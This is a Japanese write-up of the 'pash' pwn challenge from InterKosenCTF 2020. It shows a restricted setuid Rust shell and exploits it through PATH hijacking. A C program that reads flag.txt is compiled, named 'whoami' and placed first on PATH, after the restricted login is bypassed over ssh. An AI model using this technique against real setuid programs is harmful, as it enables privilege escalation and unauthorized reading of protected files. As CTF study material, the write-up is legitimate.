# pash [InterKosenCTF 2020] ###### tags: `InterKosenCTF2020` `pwn` ## 概要 与えられた情報でsshしてみると、犬とも豚ともつかない生物がこれはPartial Admin Shellだということを教えてくれる。とりあえず`ls`ができることが試行錯誤からわかり、 結果は次のようになっている。 ``` (admin)$ ls total 424K drwxr-xr-x 1 root pwn 4.0K Aug 26 04:24 . drwxr-xr-x 1 root root 4.0K Aug 26 04:23 .. -rw-r--r-- 1 root root 61 Aug 26 04:24 .bash_profile -r--r----- 1 admin root 59 Aug 26 04:23 flag.txt -r-sr-x--- 1 admin pwn 403K Aug 26 04:23 pash -rw-rw-r-- 1 root pwn 2.4K Aug 26 04:23 pash.rs ``` どうやら`pash`はsetuid bitにより`admin`として実行され、その状態で`flag.txt`を読むのが目的らしい。 `pash.rs`はソースコードだろう。`cat`してみる。 ```pash.rs= use std::collections::HashMap; use std::io::{self, Write}; use std::process::Command; fn cmd_whoami(_args: &mut std::str::SplitWhitespace) { let mut child = Command::new("whoami") .spawn() .expect("Failed to execute process"); child.wait().expect("Failed to wait on child"); } fn cmd_ls(_args: &mut std::str::SplitWhitespace) { let mut child = Command::new("ls") .arg("-lha") .spawn() .expect("Failed to execute process"); child.wait().expect("Failed to wait on child"); } fn cmd_pwd(_args: &mut std::str::SplitWhitespace) { let mut child = Command::new("pwd") .spawn() .expect("Failed to execute process"); child.wait().expect("Failed to wait on child"); } fn cmd_cat(args: &mut std::str::SplitWhitespace) { let path; match args.next() { None => path = "-", Some(arg) => path = arg } if path.contains("flag.txt") { println!("ฅ^•ﻌ•^ฅ < RESTRICTED!"); return; } let mut child = Command::new("cat") .arg(path) .spawn() .expect("Failed to execute process"); child.wait().expect("Failed to wait on child"); } fn cmd_exit(_args: &mut std::str::SplitWhitespace) { std::process::exit(0); } fn main() { let mut f = HashMap::<String, &dyn Fn(&mut std::str::SplitWhitespace)->()>::new(); /* set available commands */ f.insert("whoami".to_string(), &cmd_whoami); f.insert("ls".to_string(), &cmd_ls); f.insert("pwd".to_string(), &cmd_pwd); f.insert("cat".to_string(), &cmd_cat); f.insert("exit".to_string(), &cmd_exit); println!("***** PASH - Partial Admin SHell *****"); println!(" __ _ ,---------------------. "); println!("o'')}}____// <' Only few commands | "); println!(" `_/ ) | are available. | "); println!(" (_(_/-(_/ '---------------------' \n"); loop { /* read input */ print!("(admin)$ "); io::stdout().flush().unwrap(); let mut s = String::new(); io::stdin().read_line(&mut s).ok(); /* execute command */ let mut args = s.trim().split_whitespace(); let cmd = args.next().unwrap(); if f.contains_key(cmd) { (f.get(cmd).unwrap() as &dyn Fn(&mut std::str::SplitWhitespace)->())(&mut args); } else { println!("No such command: {}", cmd); } } } ``` 使えるコマンドは`whoami`, `ls`, `pwd`, `cat`, `exit`だけらしい。さらに`cat`は`flag.txt`を含むファイル名を受け付けていない。なかなか難しい問題に見える。 ## 解法 ところでこの`pash`というのは次のように`.bash_profile`でログイン時に起動されている。 ```.bash_profile trap 'kill -9 $PPID' INT mesg n /home/pwn/pash kill -9 $PPID ``` とりあえず`pash`でログインを回避する。これには `ssh -t pwn@pwn.kosenctf.com -p9902 bash` などとすれば良い。`pwn`ユーザとしてbashを使ってSSHできる。 `pash`の実装で注目したいのはコマンドの起動方法で、 `let mut child = Command::new("cat")`と、フルパスではなくバイナリ名だけを指定している。この時、実行ファイルは`$PATH`から探されるから、`$PATH`をいじっておき、その場所にニセのバイナリを置いておけば実行してもらえそうにみえる。 ということで、手元で次のようなプログラムをコンパイルしてできたバイナリを `/tmp/piyopiyo` などに配置した。バイナリはbase64などでコピーできる形にして送ると楽。 ```clike= #include <stdio.h> #include <stdlib.h> int main() { FILE *fp = fopen("/home/pwn/flag.txt", "r"); if (fp == NULL) { perror("fopen"); return 1; } char *line; size_t len; ssize_t size; while ((size = getline(&line, &len, fp)) != -1) { printf("%s\n", line); } fclose(fp); return 0; } ``` このバイナリを`whoami`などという名前にしておき、つぎのようにやるとフラグが手に入った。 ``` $ export PATH=$(pwd):$PATH $ /home/pwn/pash ***** PASH - Partial Admin SHell ***** __ _ ,---------------------. o'')}____// <' Only few commands | `_/ ) | are available. | (_(_/-(_/ '---------------------' (admin)$ whoami KosenCTF{0nly_EUID_4nd_EGID_m4tt3rs_wh3n_4cc3ss1ng_4_f1l3} ``` ## 感想 ときどきこういう問題を見る気がする。SSHの情報を渡しているということで、シェルの何かしらを用いた問題だということを看破していく。